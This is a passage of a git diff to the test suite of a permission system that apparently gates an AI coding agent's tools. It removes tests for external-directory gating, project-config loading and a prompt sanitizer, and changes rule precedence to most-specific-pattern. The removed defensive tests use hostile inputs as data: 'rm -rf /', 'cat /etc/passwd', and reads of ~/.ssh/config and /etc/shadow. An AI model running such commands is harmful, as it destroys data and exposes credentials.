"deny" }, - }); - - try { - const sessionRules = [ - sessionRule("external_directory", "/other/project/*"), - ]; - - const result = checkPath( - manager, - "/other/project/src/foo.ts", - {}, - "external_directory", - undefined, - sessionRules, - ); - expect(result.state).toBe("allow"); - expect(result.source).toBe("session"); - } finally { - cleanup(); - } -}); test("checkPermission returns source 'session' for bash when session rules match", () => { const { manager, cleanup } = createManager({ permission: {} }); @@ -3035,7 +2133,6 @@ test("getResolvedPolicyPaths returns correct paths and existence when files exis const pm = new PermissionManager({ globalConfigPath, agentsDir, - projectGlobalConfigPath: projectConfigPath, projectAgentsDir, }); @@ -3043,8 +2140,6 @@ test("getResolvedPolicyPaths returns correct paths and existence when files exis expect(result.globalConfigPath).toBe(globalConfigPath); expect(result.globalConfigExists).toBe(true); - expect(result.projectConfigPath).toBe(projectConfigPath); - expect(result.projectConfigExists).toBe(true); expect(result.agentsDir).toBe(agentsDir); expect(result.agentsDirExists).toBe(true); expect(result.projectAgentsDir).toBe(projectAgentsDir); @@ -3069,8 +2164,6 @@ test("getResolvedPolicyPaths returns false for missing files and null for absent expect(result.globalConfigPath).toBe(globalConfigPath); expect(result.globalConfigExists).toBe(false); - expect(result.projectConfigPath).toBe(null); - expect(result.projectConfigExists).toBe(false); expect(result.agentsDir).toBe(agentsDir); expect(result.agentsDirExists).toBe(false); expect(result.projectAgentsDir).toBe(null); @@ -3111,7 +2204,7 @@ describe("checkPermission — cwd-aware path policy values", () => { } }); - it("preserves last-match-wins across absolute and relative aliases", () => { + it("chooses the most specific pattern across absolute and relative aliases", () => { const { manager, cleanup } = createManagerWithConfig({ read: { "*": "ask", @@ -3122,9 +2215,8 @@ describe("checkPermission — cwd-aware path policy values", () => { try { manager.configureForCwd(cwd); const result = checkPath(manager, "src/App.jsx", { cwd }, "read"); - // The later "src/*" deny wins over the earlier absolute allow. - expect(result.state).toBe("deny"); - expect(result.matchedPattern).toBe("src/*"); + expect(result.state).toBe("allow"); + expect(result.matchedPattern).toBe(`${cwd}/*`); } finally { cleanup(); } @@ -3166,7 +2258,7 @@ describe("checkPathPolicy", () => { } }); - it("preserves last-match-wins across the provided aliases", () => { + it("chooses the most specific pattern across the provided aliases", () => { const { manager, cleanup } = createManagerWithConfig({ path: { "*": "ask", [`${cwd}/*`]: "allow", "src/*": "deny" }, }); @@ -3175,8 +2267,8 @@ describe("checkPathPolicy", () => { `${cwd}/src/App.jsx`, "src/App.jsx", ]); - expect(result.state).toBe("deny"); - expect(result.matchedPattern).toBe("src/*"); + expect(result.state).toBe("allow"); + expect(result.matchedPattern).toBe(`${cwd}/*`); } finally { cleanup(); } @@ -3214,42 +2306,6 @@ describe("checkPathPolicy", () => { } }); - it("evaluates against the external_directory surface when one is provided", () => { - const { manager, cleanup } = createManagerWithConfig({ - external_directory: { "*": "ask", "/tmp/*": "allow" }, - }); - try { - const result = checkPathValues( - manager, - ["/tmp/x"], - undefined, - undefined, - "external_directory", - ); - expect(result.state).toBe("allow"); - expect(result.matchedPattern).toBe("/tmp/*"); - expect(result.source).toBe("special"); - expect(result.toolName).toBe("external_directory"); - } finally { - cleanup(); - } - }); - - it("defaults to the path surface when no surface is provided", () => { - const { manager, cleanup } = createManagerWithConfig({ - external_directory: { "*": "ask", "/tmp/*": "allow" }, - path: { "*": "allow" }, - }); - try { - // No path rule denies; the external_directory allow must NOT apply here. - const result = checkPathValues(manager, ["/tmp/x"]); - expect(result.toolName).toBe("path"); - expect(result.state).toBe("allow"); - expect(result.matchedPattern).toBe("*"); - } finally { - cleanup(); - } - }); }); // --------------------------------------------------------------------------- @@ -3357,25 +2413,6 @@ describe("check — path-values intent", () => { } }); - it("evaluates against the external_directory surface", () => { - const { manager, cleanup } = createManagerWithConfig({ - external_directory: { "*": "ask", "/tmp/*": "allow" }, - }); - try { - const intent: ResolvedAccessIntent = { - kind: "path-values", - surface: "external_directory", - values: ["/tmp/x"], - }; - const result = manager.check(intent); - expect(result.state).toBe("allow"); - expect(result.matchedPattern).toBe("/tmp/*"); - expect(result.source).toBe("special"); - expect(result.toolName).toBe("external_directory"); - } finally { - cleanup(); - } - }); it("falls back to the catch-all for an empty value list", () => { const { manager, cleanup } = createManagerWithConfig({ @@ -3414,7 +2451,7 @@ describe("check — path-values intent", () => { } }); - it("last-match-wins across the provided aliases", () => { + it("uses pattern specificity across the provided aliases", () => { const { manager, cleanup } = createManagerWithConfig({ path: { "*": "ask", [`${cwd}/*`]: "allow", "src/*": "deny" }, }); @@ -3425,8 +2462,8 @@ describe("check — path-values intent", () => { values: [`${cwd}/src/App.jsx`, "src/App.jsx"], }; const result = manager.check(intent); - expect(result.state).toBe("deny"); - expect(result.matchedPattern).toBe("src/*"); + expect(result.state).toBe("allow"); + expect(result.matchedPattern).toBe(`${cwd}/*`); } finally { cleanup(); } diff --git a/pi-permission-system/test/permission-manager-yolo.test.ts b/pi-permission-system/test/permission-manager-yolo.test.ts index 8b1e953..2fe79e9 100644 --- a/pi-permission-system/test/permission-manager-yolo.test.ts +++ b/pi-permission-system/test/permission-manager-yolo.test.ts @@ -13,12 +13,10 @@ import { createInMemoryPolicyLoader } from "#test/helpers/manager-harness"; function makeManager( global: Record, isYoloEnabled: () => boolean, - project?: ScopeConfig, ): PermissionManager { return new PermissionManager({ policyLoader: createInMemoryPolicyLoader({ global: { permission: global } as ScopeConfig, - project, }), isYoloEnabled, }); @@ -95,34 +93,3 @@ describe("PermissionManager yolo rewrite", () => { expect(manager.getToolPermission("bash")).toBe("ask"); }); }); - -describe("PermissionManager fail-closed clamp under yolo (#646)", () => { - it("yolo re-permits a fail-closed floored allow (allow→ask→allow)", () => { - // Invalid project scope floors global's `allow` to `ask` at composition; - // yolo then rewrites the `ask` back to `allow`. yolo is an explicit - // full-permissive opt-in, so yolo users are unaffected by the clamp. - const manager = makeManager({ bash: "allow" }, () => true, { - invalid: true, - }); - const result = manager.check({ - kind: "tool", - surface: "bash", - input: { command: "echo hi" }, - }); - expect(result.state).toBe("allow"); - expect(result.origin).toBe("yolo"); - }); - - it("preserves a hard deny under yolo even with an invalid scope", () => { - const manager = makeManager({ bash: "deny" }, () => true, { - invalid: true, - }); - const result = manager.check({ - kind: "tool", - surface: "bash", - input: { command: "rm -rf /" }, - }); - expect(result.state).toBe("deny"); - expect(result.origin).not.toBe("yolo"); - }); -}); diff --git a/pi-permission-system/test/permission-session.test.ts b/pi-permission-system/test/permission-session.test.ts index 7e445ed..56376ad 100644 --- a/pi-permission-system/test/permission-session.test.ts +++ b/pi-permission-system/test/permission-session.test.ts @@ -271,29 +271,6 @@ describe("PermissionSession", () => { }); }); - describe("infrastructure paths", () => { - it("getInfrastructureReadDirs combines piInfrastructureDirs and piInfrastructureReadPaths", () => { - const configStore = makeConfigStore({ - current: vi.fn().mockReturnValue({ - piInfrastructureReadPaths: ["/extra/path"], - }), - }); - const { session } = createSession({ configStore }); - expect(session.getInfrastructureReadDirs()).toEqual([ - "/test/agent", - "/test/agent/git", - "/extra/path", - ]); - }); - - it("getInfrastructureReadDirs returns only piInfrastructureDirs when config omits the field", () => { - const { session } = createSession(); - expect(session.getInfrastructureReadDirs()).toEqual([ - "/test/agent", - "/test/agent/git", - ]); - }); - }); describe("config delegation", () => { it("refreshConfig delegates to configStore.refresh with the trust flag", () => { diff --git a/pi-permission-system/test/permissions-service.test.ts b/pi-permission-system/test/permissions-service.test.ts index c14f975..97fe701 100644 --- a/pi-permission-system/test/permissions-service.test.ts +++ b/pi-permission-system/test/permissions-service.test.ts @@ -160,20 +160,6 @@ describe("checkPermission", () => { ); }); - it("resolves an external_directory path query through an access-path intent matching the canonical alias", () => { - realpathSync.mockImplementation((p: string) => - p === "/test/project/link" ? "/test/project/real" : p, - ); - const { service, resolver } = makeService(); - service.checkPermission("external_directory", "link"); - expect(resolver.resolve).toHaveBeenCalledTimes(1); - const intent = resolver.resolve.mock.calls[0][0]; - expect(intent.kind).toBe("access-path"); - if (intent.kind === "access-path") { - expect(intent.surface).toBe("external_directory"); - expect(intent.path.matchValues()).toContain("/test/project/real"); - } - }); it("resolves a path-bearing tool query (read) through an access-path intent", () => { const { service, resolver } = makeService(); diff --git a/pi-permission-system/test/policy-loader.test.ts b/pi-permission-system/test/policy-loader.test.ts index 2dc63fd..82fa04f 100644 --- a/pi-permission-system/test/policy-loader.test.ts +++ b/pi-permission-system/test/policy-loader.test.ts @@ -78,70 +78,6 @@ describe("FilePolicyLoader.loadGlobalConfig", () => { }); }); -// --------------------------------------------------------------------------- -// loadProjectConfig -// --------------------------------------------------------------------------- - -describe("FilePolicyLoader.loadProjectConfig", () => { - it("returns empty ScopeConfig when no project path is configured", () => { - const loader = new FilePolicyLoader({ - globalConfigPath: "/nonexistent/config.json", - agentsDir: "/nonexistent/agents", - }); - const config = loader.loadProjectConfig(); - expect(config).toEqual({}); - }); - - it("returns ScopeConfig from a project config file", () => { - const baseDir = makeTempDir(); - try { - const projectConfigPath = join(baseDir, "project-config.json"); - writeFileSync( - projectConfigPath, - JSON.stringify({ permission: { bash: "allow" } }), - ); - const loader = new FilePolicyLoader({ - globalConfigPath: "/nonexistent/config.json", - agentsDir: "/nonexistent/agents", - projectGlobalConfigPath: projectConfigPath, - }); - const config = loader.loadProjectConfig(); - expect(config.permission).toEqual({ bash: "allow" }); - expect(config.invalid).toBeUndefined(); - } finally { - rmSync(baseDir, { recursive: true, force: true }); - } - }); - - it("marks the scope invalid when the project config file is rejected", () => { - const baseDir = makeTempDir(); - try { - const projectConfigPath = join(baseDir, "project-config.json"); - // Unrecognized key — schema rejection, the issue's "typo" scenario. - writeFileSync(projectConfigPath, JSON.stringify({ debugLo: true })); - const loader = new FilePolicyLoader({ - globalConfigPath: "/nonexistent/config.json", - agentsDir: "/nonexistent/agents", - projectGlobalConfigPath: projectConfigPath, - }); - const config = loader.loadProjectConfig(); - expect(config.invalid).toBe(true); - } finally { - rmSync(baseDir, { recursive: true, force: true }); - } - }); - - it("leaves invalid unset when no project file is present", () => { - const loader = new FilePolicyLoader({ - globalConfigPath: "/nonexistent/config.json", - agentsDir: "/nonexistent/agents", - projectGlobalConfigPath: "/nonexistent/project-config.json", - }); - const config = loader.loadProjectConfig(); - expect(config.invalid).toBeUndefined(); - }); -}); - // --------------------------------------------------------------------------- // loadAgentConfig / loadProjectAgentConfig // --------------------------------------------------------------------------- @@ -270,8 +206,6 @@ describe("FilePolicyLoader.getResolvedPolicyPaths", () => { expect(paths.globalConfigExists).toBe(true); expect(paths.agentsDir).toBe(agentsDir); expect(paths.agentsDirExists).toBe(true); - expect(paths.projectConfigPath).toBeNull(); - expect(paths.projectConfigExists).toBe(false); expect(paths.projectAgentsDir).toBeNull(); expect(paths.projectAgentsDirExists).toBe(false); } finally { diff --git a/pi-permission-system/test/presentation/agent-renderer.test.ts b/pi-permission-system/test/presentation/agent-renderer.test.ts index 2b344a8..83469ea 100644 --- a/pi-permission-system/test/presentation/agent-renderer.test.ts +++ b/pi-permission-system/test/presentation/agent-renderer.test.ts @@ -136,76 +136,6 @@ describe("renderPolicyDenial", () => { ).toBe("[pi-permission-system] Denied by policy: 'bash'."); }); - it("names the escaped boundary for a tool external-directory deny", () => { - expect( - renderPolicyDenial( - payload( - "external_directory", - { - surface: "external_directory", - toolName: "write", - value: "/etc/hosts", - matchedPattern: "*", - }, - [{ label: "working directory", text: "/repo", detail: null }], - ), - null, - ), - ).toBe( - "[pi-permission-system] Denied by policy: 'external_directory' for tool 'write' for path '/etc/hosts' (rule '*'): outside working directory '/repo'.", - ); - }); - - it("names the canonical target when a path resolves elsewhere", () => { - expect( - renderPolicyDenial( - payload( - "external_directory", - { - surface: "external_directory", - toolName: "read", - value: "link", - matchedPattern: "*", - }, - [ - { label: "resolves to", text: "/etc/shadow", detail: null }, - { label: "working directory", text: "/repo", detail: null }, - ], - ), - null, - ), - ).toBe( - "[pi-permission-system] Denied by policy: 'external_directory' for tool 'read' for path 'link' (resolves to '/etc/shadow') (rule '*'): outside working directory '/repo'.", - ); - }); - - it("names every escaping path but not the command for a bash external-directory deny", () => { - expect( - renderPolicyDenial( - payload( - "bash_external_directory", - { - surface: "external_directory", - toolName: "bash", - value: "diff /etc/hosts ~/.ssh/config", - matchedPattern: "*", - }, - [ - { label: "working directory", text: "/repo", detail: null }, - { label: "external path", text: "/etc/hosts", detail: null }, - { - label: "external path", - text: "~/.ssh/config", - detail: "/home/me/.ssh/config", - }, - ], - ), - null, - ), - ).toBe( - "[pi-permission-system] Denied by policy: 'external_directory' for tool 'bash' for paths '/etc/hosts', '~/.ssh/config' (resolves to '/home/me/.ssh/config') (rule '*'): outside working directory '/repo'.", - ); - }); it("names the MCP target", () => { expect( @@ -370,25 +300,6 @@ describe("renderUnavailableDenial", () => { ); }); - it("omits the escaped boundary, which no retry shape would change", () => { - expect( - renderUnavailableDenial( - payload( - "external_directory", - { - surface: "external_directory", - toolName: "write", - value: "/etc/hosts", - matchedPattern: "*", - }, - [{ label: "working directory", text: "/repo", detail: null }], - ), - null, - ), - ).toBe( - "[pi-permission-system] This 'external_directory' call for tool 'write' for path '/etc/hosts' (rule '*') requires approval, but no interactive UI is available.", - ); - }); }); describe("the flagged-element field cap", () => { diff --git a/pi-permission-system/test/presentation/dialog-renderer.test.ts b/pi-permission-system/test/presentation/dialog-renderer.test.ts index 7cf04fd..cb47068 100644 --- a/pi-permission-system/test/presentation/dialog-renderer.test.ts +++ b/pi-permission-system/test/presentation/dialog-renderer.test.ts @@ -48,24 +48,6 @@ describe("renderPromptDialog", () => { ]); }); - it("names the gate surface when it differs from the tool", () => { - expect( - render({ - kind: "external_directory", - request: requestFacts({ - surface: "external_directory", - toolName: "write", - value: "/etc/hosts", - matchedPattern: "*", - }), - }), - ).toEqual([ - "tool : write", - "surface : external_directory", - "rule : *", - "path : /etc/hosts", - ]); - }); it("omits an agent line for an unnamed local requester, and a surface the value label already names", () => { expect( @@ -214,36 +196,6 @@ describe("renderPromptDialog", () => { ]); }); - it("keeps an entry's detail on the entry's own line", () => { - expect( - render({ - kind: "bash_external_directory", - request: requestFacts({ - surface: "external_directory", - toolName: "bash", - value: "cat /etc/hosts /tmp/x", - matchedPattern: "*", - }), - evidence: [ - { label: "working directory", text: "/repo", detail: null }, - { - label: "external path", - text: "/etc/hosts", - detail: "/private/etc/hosts", - }, - { label: "external path", text: "/tmp/x", detail: null }, - ], - }), - ).toEqual([ - "tool : bash", - "surface : external_directory", - "rule : *", - "command : cat /etc/hosts /tmp/x", - "working directory : /repo", - "external path : /etc/hosts → /private/etc/hosts", - "external path : /tmp/x", - ]); - }); it("renders a skill read's path", () => { expect( @@ -558,35 +510,6 @@ describe("renderPromptDialog", () => { ]); }); - it("paints each escaping path rather than the command that referenced them", () => { - expect( - renderPromptDialog( - makePromptPayload({ - kind: "bash_external_directory", - request: { - ...makePromptPayload().request, - surface: "external_directory", - toolName: "bash", - value: "cat /etc/hosts /etc/hostsbackup", - matchedPattern: "*", - }, - evidence: [ - { label: "working directory", text: "/repo", detail: null }, - { label: "external path", text: "/etc/hosts", detail: null }, - ], - }), - completeViewBudget(200), - mark, - ).lines, - ).toEqual([ - "tool : bash", - "surface : external_directory", - "rule : *", - "command : cat [/etc/hosts] /etc/hostsbackup", - "working directory : /repo", - "external path : [/etc/hosts]", - ]); - }); it("leaves the text untouched when no paint is supplied", () => { expect( diff --git a/pi-permission-system/test/presentation/fact-vocabulary.test.ts b/pi-permission-system/test/presentation/fact-vocabulary.test.ts index a06ecf4..17660ac 100644 --- a/pi-permission-system/test/presentation/fact-vocabulary.test.ts +++ b/pi-permission-system/test/presentation/fact-vocabulary.test.ts @@ -26,10 +26,6 @@ function payloadOf( }; } -/** An `external path` evidence entry, as the bash external-directory gate emits it. */ -function externalPath(path: string, resolved: string | null): PromptEvidence { - return { label: "external path", text: path, detail: resolved }; -} describe("flaggedElements", () => { it("flags the decision-relevant value for a single-value ask", () => { @@ -44,17 +40,6 @@ describe("flaggedElements", () => { ]); }); - it("flags the escaping paths rather than the command for a bash external-directory ask", () => { - expect( - flaggedElements( - payloadOf("bash_external_directory", "diff /etc/hosts ~/.ssh/config", [ - { label: "working directory", text: "/repo", detail: null }, - externalPath("/etc/hosts", null), - externalPath("~/.ssh/config", "/home/me/.ssh/config"), - ]), - ), - ).toEqual(["/etc/hosts", "~/.ssh/config"]); - }); it("flags nothing when the value is empty", () => { expect(flaggedElements(payloadOf("tool", ""))).toEqual([]); @@ -64,11 +49,9 @@ describe("flaggedElements", () => { describe("valueLabel", () => { it.each([ ["bash", "command"], - ["bash_external_directory", "command"], ["mcp", "target"], ["tool", "tool"], ["path", "path"], - ["external_directory", "path"], ["skill", "skill"], ["skill_read", "skill"], ] as const)("labels a %s ask's value %s", (kind, label) => { @@ -88,11 +71,6 @@ describe("valueLabel", () => { }); describe("flaggedElementLabel", () => { - it("labels the escaping paths a bash external-directory ask flags", () => { - expect( - flaggedElementLabel(payloadOf("bash_external_directory", "cmd")), - ).toBe("path"); - }); it.each([ "bash", diff --git a/pi-permission-system/test/presentation/path-ask-payload.test.ts b/pi-permission-system/test/presentation/path-ask-payload.test.ts index 8aadecf..d8371cc 100644 --- a/pi-permission-system/test/presentation/path-ask-payload.test.ts +++ b/pi-permission-system/test/presentation/path-ask-payload.test.ts @@ -1,9 +1,5 @@ import { describe, expect, test } from "vitest"; -import { - buildBashExternalDirectoryAskPayload, - buildExternalDirectoryAskPayload, - buildPathAskPayload, -} from "#src/presentation/path-ask-payload"; +import { buildPathAskPayload } from "#src/presentation/path-ask-payload"; describe("buildPathAskPayload", () => { test("carries the typed path as the decision value and the rule that fired", () => { @@ -38,89 +34,3 @@ describe("buildPathAskPayload", () => { ).toEqual({ agentName: null, forwarded: false, sessionId: null }); }); }); - -describe("buildExternalDirectoryAskPayload", () => { - test("carries the typed path, the boundary, and the requester", () => { - const payload = buildExternalDirectoryAskPayload({ - toolName: "write", - pathValue: "/tmp/out.txt", - cwd: "/projects/my-app", - agentName: "my-agent", - }); - - expect(payload.kind).toBe("external_directory"); - expect(payload.request.toolName).toBe("write"); - expect(payload.request.value).toBe("/tmp/out.txt"); - expect(payload.request.requester.agentName).toBe("my-agent"); - expect(payload.evidence).toEqual([ - { label: "working directory", text: "/projects/my-app", detail: null }, - ]); - }); - - test("discloses the resolved path as its own entry when it differs", () => { - expect( - buildExternalDirectoryAskPayload({ - toolName: "read", - pathValue: "demo-symlink-passwd", - resolvedPath: "/etc/passwd", - cwd: "/projects/my-app", - agentName: null, - }).evidence, - ).toEqual([ - { label: "resolves to", text: "/etc/passwd", detail: null }, - { label: "working directory", text: "/projects/my-app", detail: null }, - ]); - }); - - test("omits the disclosure when resolvedPath is undefined", () => { - const payload = buildExternalDirectoryAskPayload({ - toolName: "read", - pathValue: "/etc/passwd", - cwd: "/projects/my-app", - agentName: null, - }); - - expect(payload.evidence).toEqual([ - { label: "working directory", text: "/projects/my-app", detail: null }, - ]); - }); -}); - -describe("buildBashExternalDirectoryAskPayload", () => { - test("makes the command the value and the paths it reached evidence", () => { - const payload = buildBashExternalDirectoryAskPayload({ - command: "cat /etc/passwd", - externalPaths: [{ path: "/etc/passwd" }], - cwd: "/projects/my-app", - agentName: "my-agent", - toolName: "bash", - }); - - expect(payload.kind).toBe("bash_external_directory"); - expect(payload.request.value).toBe("cat /etc/passwd"); - expect(payload.request.requester.agentName).toBe("my-agent"); - expect(payload.evidence).toEqual([ - { label: "working directory", text: "/projects/my-app", detail: null }, - { label: "external path", text: "/etc/passwd", detail: null }, - ]); - }); - - test("binds each path's canonical alias to its own entry", () => { - const payload = buildBashExternalDirectoryAskPayload({ - command: "cat a b", - externalPaths: [ - { path: "/a", resolvedPath: "/private/a" }, - { path: "/b" }, - ], - cwd: "/repo", - agentName: null, - toolName: "bash", - }); - - expect(payload.evidence).toEqual([ - { label: "working directory", text: "/repo", detail: null }, - { label: "external path", text: "/a", detail: "/private/a" }, - { label: "external path", text: "/b", detail: null }, - ]); - }); -}); diff --git a/pi-permission-system/test/rule.test.ts b/pi-permission-system/test/rule.test.ts index 1c89619..bf956cb 100644 --- a/pi-permission-system/test/rule.test.ts +++ b/pi-permission-system/test/rule.test.ts @@ -118,8 +118,8 @@ describe("evaluate", () => { ).toBe("ask"); }); - test("last-match-wins: later conflicting rule overrides earlier", () => { - const ruleset: Ruleset = [allowBashGit, denyBashGitPush]; + test("specific pattern wins even when declared before a broad match", () => { + const ruleset: Ruleset = [denyBashGitPush, allowBashGit]; const result = evaluate( "bash", "git push origin main", @@ -129,7 +129,7 @@ describe("evaluate", () => { expect(result).toEqual(denyBashGitPush); }); - test("last-match-wins: broad deny followed by specific allow", () => { + test("specific allow wins over a broad deny", () => { const denyAll: Rule = { surface: "bash", pattern: "*", @@ -236,7 +236,7 @@ describe("evaluate", () => { expect( evaluate("bash", "git status", [withoutLayer], posixPathFlavor).action, ).toBe("allow"); - // Layer metadata does not affect last-match-wins ordering. + // Layer metadata does not affect specificity ordering. const ruleset: Rule[] = [withDefault, withLayer]; expect(evaluate("bash", "git status", ruleset, posixPathFlavor)).toEqual( withLayer, @@ -245,7 +245,7 @@ describe("evaluate", () => { const reversedRuleset: Rule[] = [withLayer, withDefault]; expect( evaluate("bash", "git status", reversedRuleset, posixPathFlavor), - ).toEqual(withDefault); + ).toEqual(withLayer); }); test("evaluate() preserves origin on a matched rule", () => { @@ -280,7 +280,7 @@ describe("evaluate", () => { expect(result.reason).toBe("Use pnpm instead"); }); - test("evaluate() carries reason through last-match-wins when deny wins", () => { + test("evaluate() carries the reason from the most-specific deny", () => { const allowAll: Rule = { surface: "bash", pattern: "*", @@ -361,26 +361,26 @@ describe("evaluate", () => { } }); - // ── Windows: path-surface patterns fold case (last-match-wins) ────────── + // ── Windows: path-surface patterns fold case ──────────────────────────── const denyExternalAll: Rule = { - surface: "external_directory", + surface: "path", pattern: "*", action: "deny", layer: "config", origin: "global", }; const allowExternalPi: Rule = { - surface: "external_directory", + surface: "path", pattern: "C:\\Users\\Foo\\pi\\*", action: "allow", layer: "config", origin: "global", }; - test("win32: external_directory allow override matches a lowercased path over a preceding deny", () => { + test("win32: a specific path allow matches a lowercased value", () => { const result = evaluate( - "external_directory", + "path", "c:\\users\\foo\\pi\\docs\\readme.md", [denyExternalAll, allowExternalPi], win32PathFlavor, @@ -390,7 +390,7 @@ describe("evaluate", () => { test("posix: the same mixed-case override stays case-sensitive (falls through to deny)", () => { const result = evaluate( - "external_directory", + "path", "c:\\users\\foo\\pi\\docs\\readme.md", [denyExternalAll, allowExternalPi], posixPathFlavor, @@ -398,16 +398,16 @@ describe("evaluate", () => { expect(result.action).toBe("deny"); }); - test("win32: a forward-slash external_directory pattern matches a backslash value", () => { + test("win32: a forward-slash path pattern matches a backslash value", () => { const allowForwardSlash: Rule = { - surface: "external_directory", + surface: "path", pattern: "C:/Users/Foo/pi/*", action: "allow", layer: "config", origin: "global", }; const result = evaluate( - "external_directory", + "path", "c:\\users\\foo\\pi\\docs\\readme.md", [denyExternalAll, allowForwardSlash], win32PathFlavor, diff --git a/pi-permission-system/test/system-prompt-sanitizer.test.ts b/pi-permission-system/test/system-prompt-sanitizer.test.ts deleted file mode 100644 index c349b50..0000000 --- a/pi-permission-system/test/system-prompt-sanitizer.test.ts +++ /dev/null @@ -1,382 +0,0 @@ -import { afterEach, describe, expect, test, vi } from "vitest"; - -import { sanitizeAvailableToolsSection } from "#src/system-prompt-sanitizer"; - -afterEach(() => { - vi.restoreAllMocks(); -}); - -// Helpers for building prompt sections. -function availableToolsSection(tools: string[]): string { - return ["Available tools:", ...tools.map((t) => `- ${t}`)].join("\n"); -} - -function guidelinesSection(guidelines: string[]): string { - return ["Guidelines:", ...guidelines.map((g) => `- ${g}`)].join("\n"); -} - -function prompt(...sections: string[]): string { - return sections.join("\n\n"); -} - -describe("sanitizeAvailableToolsSection — Available tools section", () => { - test("keeps allowed tool lines and the header, drops denied ones", () => { - const input = prompt( - availableToolsSection(["bash", "read"]), - "Other content", - ); - const result = sanitizeAvailableToolsSection(input, ["read"]); - expect(result.removed).toBe(true); - expect(result.prompt).toContain("Available tools:"); - expect(result.prompt).toContain("- read"); - expect(result.prompt).not.toContain("- bash"); - }); - - test("leaves the section untouched when every tool is allowed", () => { - const input = prompt( - availableToolsSection(["bash", "read"]), - "Other content", - ); - const result = sanitizeAvailableToolsSection(input, ["bash", "read"]); - expect(result.removed).toBe(false); - expect(result.prompt).toBe(input); - }); - - // Bug #33: findSection extends to lines.length when no subsequent recognised - // header follows, so content after the last section is silently deleted. - test("preserves content that follows the Available tools section (bug #33)", () => { - const input = prompt( - availableToolsSection(["bash", "read"]), - "Other content", - ); - const result = sanitizeAvailableToolsSection(input, ["read"]); - expect(result.prompt).toContain("Other content"); - }); - - test("removes the whole section when no tool is allowed", () => { - const input = prompt( - availableToolsSection(["bash", "read"]), - "Other content", - ); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.removed).toBe(true); - expect(result.prompt).not.toContain("Available tools:"); - expect(result.prompt).toContain("Other content"); - }); - - test("removed flag is false when no Available tools section is present", () => { - const input = "Just some instructions.\n\nNo tools section."; - const result = sanitizeAvailableToolsSection(input, ["bash"]); - expect(result.removed).toBe(false); - expect(result.prompt).toBe(input); - }); - - test("keeps non-tool boilerplate prose near the section", () => { - const input = [ - "Available tools:", - "- read: Read file contents", - "- bash: Run shell commands", - "", - "In addition to the tools above, you may have access to other custom tools depending on the project.", - ].join("\n"); - const result = sanitizeAvailableToolsSection(input, ["read"]); - expect(result.prompt).toContain("- read: Read file contents"); - expect(result.prompt).not.toContain("- bash: Run shell commands"); - expect(result.prompt).toContain("In addition to the tools above"); - }); - - test("returns original prompt reference unchanged when nothing is removed", () => { - const input = "No tools section here."; - const result = sanitizeAvailableToolsSection(input, []); - expect(result.prompt).toBe(input); - }); - - test("narrowing the full listing yields the already-narrowed listing (cache byte-stability)", () => { - const allowed = ["read", "edit", "write"]; - const fullProse = [ - "You are an assistant.", - "", - "Available tools:", - "- bash: Run shell commands", - "- read: Read file contents", - "- edit: Edit a file", - "- write: Write a file", - "", - "Guidelines:", - "- use bash for file operations like ls, rg, find", - "- use read to examine files instead of cat or sed.", - "- Be concise in your responses", - ].join("\n"); - const narrowedProse = [ - "You are an assistant.", - "", - "Available tools:", - "- read: Read file contents", - "- edit: Edit a file", - "- write: Write a file", - "", - "Guidelines:", - "- use read to examine files instead of cat or sed.", - "- Be concise in your responses", - ].join("\n"); - - const fromFull = sanitizeAvailableToolsSection(fullProse, allowed).prompt; - const fromNarrowed = sanitizeAvailableToolsSection( - narrowedProse, - allowed, - ).prompt; - - // Idempotent on the already-narrowed input Pi feeds back on later turns. - expect(fromNarrowed).toBe(narrowedProse); - // Turn 1 (full) and turn 2+ (narrowed) produce identical wire bytes. - expect(fromFull).toBe(fromNarrowed); - }); -}); - -describe("sanitizeAvailableToolsSection — Guidelines section", () => { - test("removes bash guideline when bash is not in allowed tools", () => { - const input = prompt( - guidelinesSection(["use bash for file operations like ls, rg, find"]), - ); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.removed).toBe(true); - expect(result.prompt).not.toContain("use bash for file operations"); - }); - - test("keeps bash guideline when bash is in allowed tools", () => { - const input = prompt( - guidelinesSection(["use bash for file operations like ls, rg, find"]), - ); - const result = sanitizeAvailableToolsSection(input, ["bash"]); - expect(result.removed).toBe(false); - expect(result.prompt).toContain("use bash for file operations"); - }); - - test("removes read guideline when read is not allowed", () => { - const input = prompt( - guidelinesSection(["use read to examine files instead of cat or sed."]), - ); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.removed).toBe(true); - expect(result.prompt).not.toContain("use read to examine files"); - }); - - test("keeps read guideline when read is allowed", () => { - const input = prompt( - guidelinesSection(["use read to examine files instead of cat or sed."]), - ); - const result = sanitizeAvailableToolsSection(input, ["read"]); - expect(result.removed).toBe(false); - expect(result.prompt).toContain("use read to examine files"); - }); - - test("removes edit guideline when edit is not allowed", () => { - const input = prompt( - guidelinesSection([ - "use edit for precise changes (old text must match exactly)", - ]), - ); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.removed).toBe(true); - expect(result.prompt).not.toContain("use edit for precise changes"); - }); - - test("removes write guideline when write is not allowed", () => { - const input = prompt( - guidelinesSection(["use write only for new files or complete rewrites"]), - ); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.removed).toBe(true); - expect(result.prompt).not.toContain("use write only for new files"); - }); - - test("removes entire Guidelines section when all bullets are filtered out", () => { - const input = prompt( - guidelinesSection([ - "use bash for file operations like ls, rg, find", - "use write only for new files or complete rewrites", - ]), - ); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.removed).toBe(true); - expect(result.prompt).not.toContain("Guidelines:"); - }); - - test("preserves unrecognised guidelines regardless of allowed tools", () => { - const input = prompt( - guidelinesSection(["some custom guideline not in the rules"]), - ); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.removed).toBe(false); - expect(result.prompt).toContain("some custom guideline not in the rules"); - }); - - test("handles both sections together: removes tools section and filters guidelines", () => { - const input = prompt( - availableToolsSection(["bash"]), - guidelinesSection([ - "use bash for file operations like ls, rg, find", - "use write only for new files or complete rewrites", - "some custom guideline not in the rules", - ]), - ); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.removed).toBe(true); - expect(result.prompt).not.toContain("Available tools:"); - expect(result.prompt).not.toContain("use bash for file operations"); - expect(result.prompt).not.toContain("use write only for new files"); - expect(result.prompt).toContain("some custom guideline not in the rules"); - }); - - test("trims whitespace from allowed tool names", () => { - const input = prompt( - guidelinesSection(["use bash for file operations like ls, rg, find"]), - ); - const result = sanitizeAvailableToolsSection(input, [" bash "]); - expect(result.removed).toBe(false); - 